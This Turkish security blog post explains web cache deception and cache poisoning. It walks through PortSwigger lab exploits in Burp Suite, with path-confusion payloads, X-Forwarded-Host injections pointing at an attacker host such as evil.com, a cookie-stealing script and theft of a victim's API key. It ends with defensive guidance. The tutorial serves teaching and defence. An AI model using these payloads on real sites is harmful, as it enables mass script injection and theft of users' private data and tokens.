Web Cache Deception & Poisoning: Cache ile Origin Arasındaki Boşluğu Silaha Dönüştürmek | Tağmaç - root@Tagoletta:~#
Contents

Web Cache Deception & Poisoning: Cache ile Origin Arasındaki Boşluğu Silaha Dönüştürmek

Sat Jun 13 2026 · 9 min read

Category: Security Research

# Attack-Chain# Cache# Exploit

Giriş: Cache Bir Saldırı Yüzeyidir

Modern web mimarisinde içerik nadiren doğrudan sunucudan gelir. Araya bir cache katmanı girer: CDN (Cloudflare, Akamai, Fastly), ters proxy (Varnish, Nginx) ya da uygulama önbelleği. Amaç performanstır — statik dosyaları kullanıcıya en yakın noktada tutup origin'i yormamak.

Ama bu katmanın tek bir kritik kararı vardır: "Bu yanıtı saklayayım mı, saklamayayım mı?" ve "Hangi anahtar (cache key) altında saklayayım?"

Cache bu kararı verirken URL'yi, header'ları ve uzantıyı kendi mantığıyla yorumlar. Origin sunucu ise aynı isteği tamamen farklı bir mantıkla yorumlar. İşte bu iki yorum arasındaki boşluk, iki ayrı saldırı sınıfını doğurur:

  • Web Cache Deception (WCD): Cache'i kandırıp kurbanın özel bir sayfasını "statik dosya" sanarak saklamasını sağlarsın. Sonra aynı URL'yi sen istersin ve kurbanın verisini cache'ten çekersin.
  • Web Cache Poisoning: Cache'in paylaşılan bir girdisine zararlı bir yanıt enjekte edersin. O andan itibaren o sayfayı isteyen herkes senin payload'ını alır.

İlki veri sızdırma, ikincisi kitlesel XSS / yönlendirme. İkisinin de kökü aynı: cache ile origin aynı isteği farklı görür.

Bölüm 1 — Web Cache Deception

Tekniği 2017'de Omer Gil keşfetti ve PayPal üzerinde canlı olarak gösterdi: tek bir URL ile başka bir kullanıcının ad, e-posta ve hesap bilgilerini cache'ten okumak. 2020'de "Cached and Confused" (USENIX Security) araştırması bunun internet genelinde ne kadar yaygın olduğunu kanıtladı.

Temel mantık: uzantı yalanı

Çoğu CDN şu kuralla yapılandırılır: "Uzantısı .css, .js, .png, .ico, .woff olan her şey statiktir → cache'le." Bu kural pratiktir ama tehlikelidir, çünkü cache kararı yalnızca dosya adının sonuna bakar.

Şimdi şu isteği düşün:

GET /account/profile.css HTTP/1.1
Host: target.com
Cookie: session=<kurbanın-oturumu>
  • Cache'in gözünden: ".css ile bitiyor → statik → sakla."
  • Origin'in gözünden: Birçok framework (PHP PATH_INFO, ASP.NET, Ruby/Rails routing) /account/profile.css yolunu /account/profile route'una eşler ve .css son ekini yok sayar. Sonuç: kurbanın özel profil sayfası render edilir.

Origin yanıtı Cache-Control başlığı koymadan döndürürse, cache bu özel yanıtı /account/profile.css anahtarı altında saklar. Bu anahtar herkese açıktır.

Saldırı akışı

1. Saldırgan kurbana şu linki gönderir:
   https://target.com/account/profile.css

2. Kurban (giriş yapmış) linke tıklar.
   → Origin kurbanın profilini render eder
   → CDN ".css" gördüğü için yanıtı CACHE'LER

3. Saldırgan AYNI URL'yi ister (oturumsuz):
   GET /account/profile.css
   → CDN cache'ten HIT döner
   → Saldırgan kurbanın adını, e-postasını, API token'ını okur

Kritik nokta: 3. adımda saldırganın kurbanın çerezine ihtiyacı yoktur. Veri zaten paylaşılan cache'e düşmüştür.

Uzantı engellenmişse: path confusion

Origin bazen .css son ekini route'a bağlamaz (404 verir). O zaman saldırgan path confusion varyantlarına geçer. Amaç: cache'in "statik uzantı" gördüğü ama origin'in son eki yok saydığı bir URL kurmak.

Teknik Payload Origin'in yorumu
Path parameter /account/profile;x.css ; ayraçtır → /account/profile
Encoded newline /account/profile%0Ax.css %0A'da durur → /account/profile
Encoded slash /account/profile%2Fx.css cache farklı decode eder
Sahte segment /account/profile/x.css route fazla segmenti yok sayar
Encoded ? / # /account/profile%23x.css origin parça/sorgu sanır

2024'te Martin Doyhenard'ın PortSwigger araştırması ("Gotta Cache 'em all") bu varyantları sistematik hale getirdi: cache ile origin'in ;, %2F, %00, \ gibi ayraçları (delimiter) farklı işlemesi, neredeyse her CDN+framework kombinasyonunda bir tutarsızlık bırakıyor.

Gerçek dünya: ChatGPT ve diğerleri

2024'te araştırmacılar ChatGPT'de bir WCD varyantı raporladı: belirli bir path-confusion payload'ı ile kullanıcıya ait hassas bir yanıtın cache'lenebildiği gösterildi. Aynı yıl birçok SaaS platformunda benzer bulgular çıktı. Omer Gil'in 2017'deki PayPal demosundan beri kalıp değişmedi — değişen tek şey, CDN'lerin yaygınlaşmasıyla saldırı yüzeyinin büyümesi.

Bölüm 2 — Web Cache Poisoning

Madalyonun diğer yüzü. WCD veri okur; poisoning veri yazar. James Kettle'ın 2018'deki "Practical Web Cache Poisoning" araştırması bu sınıfı tanımladı.

Keyed vs Unkeyed girdiler

Cache, iki isteğin "aynı" olup olmadığına cache key ile karar verir. Anahtar genelde şunlardan oluşur:

  • Keyed (anahtarın parçası): Host header + URL path (+ bazen query string)
  • Unkeyed (anahtara dahil değil): Diğer her şey — User-Agent, X-Forwarded-Host, X-Forwarded-Scheme, Cookie (çoğu zaman) vb.

Sorun şu: Bir girdi unkeyed ise cache onu görmezden gelir — ama uygulama onu kullanıp yanıta yansıtabilir. O zaman:

Aynı keyed kısma (Host + /) sahip iki istek, farklı unkeyed header'lara rağmen tek bir cache girdisine çöker. Saldırgan bu girdinin gövdesini kontrol edebilir.

Klasik örnek: X-Forwarded-Host yansıması

Birçok uygulama mutlak URL üretirken X-Forwarded-Host header'ına güvenir:

<!-- Sunucu yanıtı, X-Forwarded-Host'tan üretiliyor -->
<script src="//{{ x_forwarded_host }}/static/app.js"></script>

Saldırı:

GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

Yanıt şu olur:

<script src="//evil.com/static/app.js"></script>

Bu header unkeyed olduğundan cache, yanıtı target.com/ anahtarıyla saklar. Bundan sonra / adresine giren her ziyaretçi evil.com/static/app.js'i çalıştırır → kitlesel stored-XSS.

Poisoning'i tetikleyen yaygın vektörler

  • X-Forwarded-Host, X-Host, X-Forwarded-Scheme → mutlak URL / yönlendirme manipülasyonu
  • Unkeyed query parametreleri (utm_*, ?cb=) → reflected XSS gadget'ı cache'leme
  • X-Forwarded-Scheme: http → sonsuz yönlendirme döngüsü ya da downgrade
  • Cache key normalization farkları: cache /'i /index.html'e normalize ederken origin etmiyorsa
  • Fat GET / parameter cloaking: body veya çift parametre ile cache ve origin'i ayrıştırmak

DoS varyantı: Cache Poisoned Denial of Service (CPDoS)

Poisoning her zaman XSS olmak zorunda değil. Saldırgan, origin'in hata döndürmesine yol açan bir header (örn. aşırı uzun X-Oversized-Header ya da hatalı X-HTTP-Method-Override) gönderip cache'in bu 400/404/500 yanıtını saklamasını sağlayabilir. Sonuç: meşru kullanıcılar cache'ten hata sayfası alır — sayfa tamamen erişilemez hale gelir.

Tespit (Test Metodolojisi)

Her iki sınıfı da test ederken cache başlıklarını okumak şarttır:

X-Cache: HIT | MISS        → yanıt cache'ten mi geldi?
Age: 42                    → cache girdisinin yaşı (HIT göstergesi)
Cache-Control: ...         → origin ne demek istemiş?
CF-Cache-Status: HIT       → Cloudflare'a özgü

WCD testi:

1. Giriş yapmış oturumla iste:  /account/profile.css
2. Yanıtta özel veri var mı + X-Cache: MISS / sonra HIT?
3. Oturumsuz (incognito) AYNI URL'yi iste
4. Aynı özel veri geliyorsa → DECEPTION doğrulandı

Poisoning testi:

1. GET / + X-Forwarded-Host: canary.attacker.com
2. Yanıtta "canary.attacker.com" yansıyor mu?
3. Aynı URL'yi header'sız iste → canary hâlâ var mı (HIT)?
4. Varsa → POISONING doğrulandı (önce zararsız canary ile kanıtla)

Etik uyarı: Poisoning testleri paylaşılan bir cache'i kirletir ve gerçek kullanıcıları etkileyebilir. Yalnızca yetkili olduğun kapsamda, izole bir cache-buster query (?cb=rastgele) ile test et ki canlı girdileri bozmayasın.

Uygulamalı Lab: Burp Suite ile Adım Adım

Teori yeterli — şimdi elimizi kirletelim. Aşağıdaki iki walkthrough'u güvenle tekrar üretebileceğin ortam PortSwigger Web Security Academy'dir (ücretsiz, izinli laboratuvarlar). İkisinde de döngü aynıdır; yalnızca enjeksiyon noktası değişir.

Lab A — Web Cache Poisoning (unkeyed header → XSS)

Hedef: Ana sayfayı zehirleyip ziyaret eden kurbanda alert(document.cookie) çalıştırmak.

Adım 1 — İsteği Repeater'a al.
Proxy geçmişinden ana sayfa isteğini (GET /) seç, sağ tık → Send to Repeater (Ctrl+R).

Adım 2 — Canary enjekte et + cache-buster ekle.
Kendi cache'ini zehirlememek için önce benzersiz bir query ekle, sonra şüpheli header'ı dene:

GET /?cb=tago123 HTTP/1.1
Host: 0aXX.web-security-academy.net
X-Forwarded-Host: c4n4ry.exploit-server.net

Adım 3 — Yanıtta yansımayı doğrula.
Response gövdesinde c4n4ry.exploit-server.net arıyoruz. Tipik olarak bir kaynak yüklemesine düşer:

<script src="//c4n4ry.exploit-server.net/resources/js/tracking.js"></script>

Yansıma varsa, girdi unkeyed ama trusted demektir → poisoning adayı.

Adım 4 — Cache'lendiğini doğrula.
Aynı isteği 2–3 kez gönder ve başlıklara bak:

X-Cache: miss   →  ilk istek (origin'den)
X-Cache: hit    →  ikinci istek (cache'ten) ✓
Age: 5          →  girdi 5 saniyedir cache'te

hit görüyorsan yanıt cache'leniyor demektir.

Adım 5 — Silahlandır.
Exploit server'da /resources/js/tracking.js yoluna payload'ı koy:

alert(document.cookie)

Şimdi cache-buster'ı kaldır (gerçek / anahtarını hedeflemek için) ve isteği hit alana kadar gönder:

GET / HTTP/1.1
Host: 0aXX.web-security-academy.net
X-Forwarded-Host: SENİN-exploit-server.net

Sonuç: Artık / cache girdisi senin script'ini taşıyor. Ana sayfayı açan her kullanıcı alert(document.cookie) çalıştırır. Lab "solved" olur.

Lab B — Web Cache Deception (kurbanın API key'ini çalmak)

Hedef: Cache'i kandırıp kurbanın /my-account sayfasını statik sanmasını sağlamak, ardından API key'i oturumsuz okumak.

Adım 1 — Hedefi keşfet.
Giriş yap, GET /my-account iste. Yanıt API key'i içeriyor ve Cache-Control: no-cache yok (önemli ipucu).

Adım 2 — Path confusion dene.

GET /my-account/wcd.css HTTP/1.1
Host: 0aXX.web-security-academy.net
Cookie: session=<senin-oturumun>

Origin /my-account route'una eşler, wcd.css son ekini yok sayar → yanıt yine API key'i içerir. Cache ise .css görür.

Adım 3 — Cache davranışını doğrula.
İki kez gönder: ilkinde X-Cache: miss, ikincisinde X-Cache: hit. Statik gibi cache'leniyor.

Adım 4 — Kurbana teslim et.
Exploit server'ın Deliver exploit to victim özelliğiyle kurbanı şu URL'ye yönlendir:

https://0aXX.web-security-academy.net/my-account/wcd.css

Kurban (giriş yapmış) bu linke girince, kurbanın API key'ini içeren yanıt aynı anahtar altında cache'lenir.

Adım 5 — Oturumsuz oku.
Aynı URL'yi çerezsiz iste (Repeater'da Cookie satırını sil):

GET /my-account/wcd.css HTTP/1.1
Host: 0aXX.web-security-academy.net

Cache hit döner ve yanıt kurbanın API key'ini içerir. Çal, lab'a gönder, "solved".

Param Miner ile otomasyon

Unkeyed header/parametreleri elle aramak yorucudur. Burp'ün Param Miner eklentisi (BApp Store) bunu otomatikleştirir:

1. Extensions → BApp Store → "Param Miner" install
2. İsteğe sağ tık → "Guess headers"
3. Param Miner binlerce header'ı dener, cache key'i etkilemeden
   yanıtı değiştiren (unkeyed-but-reflected) olanları raporlar
4. "Guess GET parameters" ile cloaking/cache-key parametrelerini bul

Param Miner ayrıca cache-buster'ı otomatik ekler — canlı cache'i bozmadan tarama yapar.

AccessContextFuzzer ile WCD'yi uçtan uca otomatikleştir

Param Miner poisoning tarafını (unkeyed header/parametre) tarar. Deception ve erişim-kontrolü tarafını ise bu işe özel olarak geliştirdiğim açık kaynak Burp eklentisiyle otomatikleştiriyorum: AccessContextFuzzer.

Bu yazıda Lab B'de elle yaptığımız path-confusion adımlarını (ayraç dene → uzantı ekle → cache davranışını doğrula → payload kur) eklenti dört aşamalı bir pipeline'a döküyor:

  • Delimiter Discovery — Sunucunun tanıdığı yol ayraçlarını (;, ?, #, %0A vb.) otomatik keşfeder.
  • Extension Testing — Keşfedilen ayraçlarla .js, .css, .png gibi statik uzantıları kombinleyerek cache davranışını tetikler.
  • Normalization Discrepancy — Origin ile cache katmanı arasındaki yol normalizasyon farkını tespit eder (yani bu yazının tüm kök nedenini).
  • Exploit Generation — Tüm bulguları birleştirip çalışan bir WCD payload'ı sentezler.

Eklenti ayrıca 40+ header spoofing tekniği (X-Forwarded-For, X-Real-IP…), her 50 istekte otomatik baseline yenileme, renk kodlu anomali tespiti ve test öncesi gerçek IP'ni doğrulayan bir OPSEC modülü içerir. Etkinliği resmi PortSwigger Web Security Academy laboratuvarlarında (URL rewrite bypass, Host header bypass, WCD) kanıtlanmıştır.

Kısacası: bu yazıdaki manuel Burp akışını üretim hattına çevirmek istersen, başlangıç noktası bu. Proje detayları · GitHub

Önlem (Savunma)

1. Uzantıya göre değil, allow-list'e göre cache'le.
".css ise sakla" yerine "yalnızca /assets/*, /static/* gibi bilinen statik yollar saklanır" kuralı kullan.

2. Dinamik yanıtlarda açık Cache-Control gönder.

Cache-Control: no-store, private

Kullanıcıya özel her yanıt bunu taşımalı. Cache'in "uzantı statik görünüyor" varsayımını kıran tek kesin yöntem budur.

3. Origin tarafında path normalizasyonunu sıkılaştır.
/account/profile.css gibi bir istek route'a uymuyorsa 404 dön; son eki sessizce yok sayma. ;, %2F, %0A, %00 ayraçlarını cache ile origin'in aynı yorumladığından emin ol.

4. Unkeyed girdileri ya anahtara ekle ya da kenarda temizle.
X-Forwarded-Host gibi header'ları origin'e ulaşmadan edge'de strip et; gerekiyorsa cache key'e dâhil et.

5. Host/X-Forwarded-* header'larını asla yanıta yansıtma.
Mutlak URL'leri sunucu konfigürasyonundan (SERVER_NAME / sabit base URL) üret, istek header'ından değil.

6. Vary başlığını doğru kullan.
Yanıt bir header'a göre değişiyorsa Vary: X-Forwarded-Host ile cache'e bunu anahtara katmasını söyle.

Sonuç

Web Cache Deception ve Poisoning, tek bir kök nedenin iki yüzüdür: cache ile origin aynı HTTP isteğini farklı yorumlar. Biri kurbanın özel verisini paylaşılan bir cache'e düşürür; diğeri zararlı bir yanıtı paylaşılan bir cache'e enjekte eder.

CDN'ler her web uygulamasının önünde dururken, bu tutarsızlıklar devasa bir saldırı yüzeyi yaratıyor. Savunmanın özü tek cümle: Cache, kullanıcıya özel hiçbir şeyi statik sanmamalı; origin de hiçbir kullanıcı girdisini yanıta körlemesine yansıtmamalı.


Teknik: Web Cache Deception (2017) + Practical Web Cache Poisoning (2018)
Araştırmacılar: Omer Gil • James Kettle • Martin Doyhenard
Konferans: Black Hat USA / DEF CON • PortSwigger Research
İlgili: Cache Poisoned DoS (CPDoS), Cache Key Confusion

Sıkça Sorulan Sorular

Web Cache Deception ile Web Cache Poisoning arasındaki fark nedir?

Web Cache Deception, bir önbelleği kurbanın özel ve kişiselleştirilmiş sayfasını saklaması için kandırır, böylece saldırgan onu geri alabilir; Web Cache Poisoning ise önbelleğe her ziyaretçiye sunulan zararlı bir yanıt enjekte eder. İkisi de cache-key ile origin parsing arasındaki tutarsızlıktan doğar.

Web Cache Deception nasıl çalışır?

Saldırgan, oturum açmış kurbanı /account.php/nonexistent.css gibi bir URL'ye yönlendirir. Origin hesap sayfasını döndürür, ancak .css uzantısına göre anahtarlanan önbellek onu statik bir dosya gibi saklar ve saldırgan sonradan bunu çekebilir.

Cache poisoning'de unkeyed input nedir?

Yanıtı etkileyen ancak cache-key'in parçası olmayan bir girdidir — genellikle X-Forwarded-Host gibi bir header. Saldırgan bunu zararlı içerik enjekte etmek için ayarlar ve zehirlenmiş yanıt, aynı cache-key'i paylaşan tüm kullanıcılara sunulur.

Cache suistimaline karşı nasıl savunma yapılır?

Yalnızca gerçekten statik içeriği önbelleğe alın, cache-key'in yanıtı etkileyen her girdiyi içermesini sağlayın, önbelleğe almadan önce URL'leri normalleştirin, kimlik doğrulamalı yanıtlarda önbelleklemeyi kapatın ve unkeyed header'ları asla yanıta yansıtmayın.